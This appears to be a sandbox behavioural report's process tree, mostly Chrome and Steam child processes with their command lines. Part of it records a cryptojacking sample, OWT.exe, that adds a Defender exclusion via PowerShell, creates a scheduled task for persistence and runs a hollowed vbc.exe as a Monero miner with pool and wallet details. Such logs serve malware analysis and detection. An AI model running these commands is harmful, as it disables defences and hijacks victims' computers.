                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6252 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:4264
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5704 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:4416
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5448 /prefetch:8
                                                                                                                      2⤵
                                                                                                                        PID:4596
                                                                                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:2220
                                                                                                                      • C:\Windows\SysWOW64\werfault.exe
                                                                                                                        werfault.exe /h /shared Global\2352ed307fcd44a7b38a4c80beb3398e /t 996 /p 740
                                                                                                                        1⤵
                                                                                                                          PID:4444
                                                                                                                        • C:\Program Files (x86)\Steam\steam.exe
                                                                                                                          "C:\Program Files (x86)\Steam\steam.exe"
                                                                                                                          1⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Drops file in Program Files directory
                                                                                                                          • Checks processor information in registry
                                                                                                                          PID:4052
                                                                                                                          • C:\Program Files (x86)\Steam\steam.exe
                                                                                                                            "C:\Program Files (x86)\Steam\steam.exe"
                                                                                                                            2⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Checks processor information in registry
                                                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:3688
                                                                                                                            • C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe
                                                                                                                              "C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=3688" "-buildid=1668654564" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-composer-mode=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" --enable-media-stream --enable-smooth-scrolling --enable-direct-write "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-features=SameSiteByDefaultCookies --enable-blink-features=ResizeObserver,Worklet,AudioWorklet --disable-blink-features=Badging
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Checks computer location settings
                                                                                                                              • Loads dropped DLL
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                              • Modifies registry class
                                                                                                                              PID:1080
                                                                                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe
                                                                                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=crashpad-handler /prefetch:7 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1668654564 --initial-client-data=0x37c,0x380,0x384,0x33c,0x388,0x7ff8150bf070,0x7ff8150bf080,0x7ff8150bf090
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Checks processor information in registry
                                                                                                                                PID:2604
                                                                                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe
                                                                                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=gpu-process --field-trial-handle=1664,3731145023458906050,5126928351176499700,131072 --enable-features=CastMediaRouteProvider --disable-features=SameSiteByDefaultCookies --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --product-version="Valve Steam Client" --lang=en-US --buildid=1668654564 --steamid=0 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --mojo-platform-channel-handle=1680 /prefetch:2
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Checks processor information in registry
                                                                                                                                PID:2892
                                                                                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe
                                                                                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1664,3731145023458906050,5126928351176499700,131072 --enable-features=CastMediaRouteProvider --disable-features=SameSiteByDefaultCookies --lang=en-US --service-sandbox-type=network --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --product-version="Valve Steam Client" --lang=en-US --buildid=1668654564 --steamid=0 --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --mojo-platform-channel-handle=2180 /prefetch:8
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Checks processor information in registry
                                                                                                                                PID:4540
                                                                                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe
                                                                                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=renderer --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --field-trial-handle=1664,3731145023458906050,5126928351176499700,131072 --enable-features=CastMediaRouteProvider --disable-features=SameSiteByDefaultCookies --enable-blink-features=ResizeObserver,Worklet,AudioWorklet --disable-blink-features=Badging --lang=en-US --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --product-version="Valve Steam Client" --buildid=1668654564 --steamid=0 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2504 /prefetch:1
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Checks computer location settings
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Checks processor information in registry
                                                                                                                                PID:3260
                                                                                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe
                                                                                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=renderer --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --field-trial-handle=1664,3731145023458906050,5126928351176499700,131072 --enable-features=CastMediaRouteProvider --disable-features=SameSiteByDefaultCookies --disable-gpu-compositing --enable-blink-features=ResizeObserver,Worklet,AudioWorklet --disable-blink-features=Badging --lang=en-US --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --product-version="Valve Steam Client" --buildid=1668654564 --steamid=0 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2764 /prefetch:1
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Checks computer location settings
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Checks processor information in registry
                                                                                                                                PID:3368
                                                                                                                            • C:\Program Files (x86)\Steam\bin\gldriverquery64.exe
                                                                                                                              .\bin\gldriverquery64.exe
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:1956
                                                                                                                            • C:\Program Files (x86)\Steam\bin\gldriverquery.exe
                                                                                                                              .\bin\gldriverquery.exe
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Loads dropped DLL
                                                                                                                              PID:3608
                                                                                                                            • C:\Program Files (x86)\Steam\bin\vulkandriverquery64.exe
                                                                                                                              .\bin\vulkandriverquery64.exe
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:4712
                                                                                                                            • C:\Program Files (x86)\Steam\bin\vulkandriverquery.exe
                                                                                                                              .\bin\vulkandriverquery.exe
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:2412
                                                                                                                        • C:\ProgramData\winrar\OWT.exe
                                                                                                                          C:\ProgramData\winrar\OWT.exe
                                                                                                                          1⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Checks computer location settings
                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1372
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
                                                                                                                            2⤵
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:4760
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
                                                                                                                            2⤵
                                                                                                                              PID:2244
                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
                                                                                                                                3⤵
                                                                                                                                • Creates scheduled task(s)
                                                                                                                                PID:2920
                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
                                                                                                                              2⤵
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:1040
                                                                                                                          • C:\Windows\system32\AUDIODG.EXE
                                                                                                                            C:\Windows\system32\AUDIODG.EXE 0x418 0x4d8
                                                                                                                            1⤵
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:1984
                                                                                                                          • C:\Windows\system32\werfault.exe
                                                                                                                            werfault.exe /h /shared Global\5829987a36494f76ae7dce3257f9cd44 /t 3168 /p 3032
                                                                                                                            1⤵
                                                                                                                              PID:2292
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                              1⤵
                                                                                                                                PID:1172
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff822bb4f50,0x7ff822bb4f60,0x7ff822bb4f70
                                                                                                                                  2⤵
                                                                                                                                    PID:2372
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1724,1035862164989568763,4817362431310437550,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1728 /prefetch:8
                                                                                                                                    2⤵
                                                                                                                                      PID:4856
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                    1⤵
                                                                                                                                    • Enumerates system info in registry
                                                                                                                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                    PID:3452
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff822bb4f50,0x7ff822bb4f60,0x7ff822bb4f70
                                                                                                                                      2⤵
                                                                                                                                        PID:1972
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1820 /prefetch:8
                                                                                                                                        2⤵
                                                                                                                                          PID:1580
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2400 /prefetch:8
                                                                                                                                          2⤵
                                                                                                                                            PID:1536
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2800 /prefetch:1
                                                                                                                                            2⤵
                                                                                                                                              PID:1320
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2792 /prefetch:1
                                                                                                                                              2⤵
                                                                                                                                                PID:4280
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1772 /prefetch:2
                                                                                                                                                2⤵
                                                                                                                                                  PID:2192
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:1
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4284
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4584 /prefetch:8
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4632
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4700 /prefetch:8
                                                                                                                                                      2⤵
                                                                                                                                                        PID:5004
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:8
                                                                                                                                                        2⤵
                                                                                                                                                          PID:920
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4716 /prefetch:8
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1084
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
                                                                                                                                                            2⤵
                                                                                                                                                              PID:3160
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:1
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3656
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:1
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:3692
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5732 /prefetch:8
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:2132
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5392 /prefetch:1
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:2560
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:1
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:5104
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:4080
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4964 /prefetch:1
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1888
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4784 /prefetch:8
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:3828
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5396 /prefetch:8
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:4008
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3872 /prefetch:8
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:3508
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5532 /prefetch:8
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1920
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4872 /prefetch:8
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2292
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2724 /prefetch:8
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:2276
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4980 /prefetch:2
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:5028
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2440 /prefetch:8
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:4260
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3932 /prefetch:8
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4776
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5652 /prefetch:8
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:4456
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5584 /prefetch:8
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:2488
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2304 /prefetch:1
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:512
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4904
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5412 /prefetch:1
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:4552
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4620 /prefetch:1
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:4676
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6020 /prefetch:1
                                                                                                                                                                                                          2⤵
